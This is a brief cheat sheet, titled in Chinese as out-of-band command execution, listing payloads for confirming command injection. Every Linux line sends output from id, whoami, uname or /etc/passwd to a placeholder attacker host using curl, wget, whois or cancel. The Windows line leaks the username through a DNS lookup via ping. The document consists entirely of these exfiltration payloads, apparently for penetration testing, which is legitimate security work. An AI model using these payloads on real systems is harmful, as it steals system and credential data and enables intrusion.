命令执行OOB

Linux

id|curl ip:port -F file=@-

curl http://xxx.xxx.xx/?id=`id`
wget ip:port --post-data "$(id)"
whois -h ip -p port "`whoami&uname -a`"
cancel -u "$(cat /etc/passwd)" -h ip:port

Windows

ping %USERNAME%.xxx.xx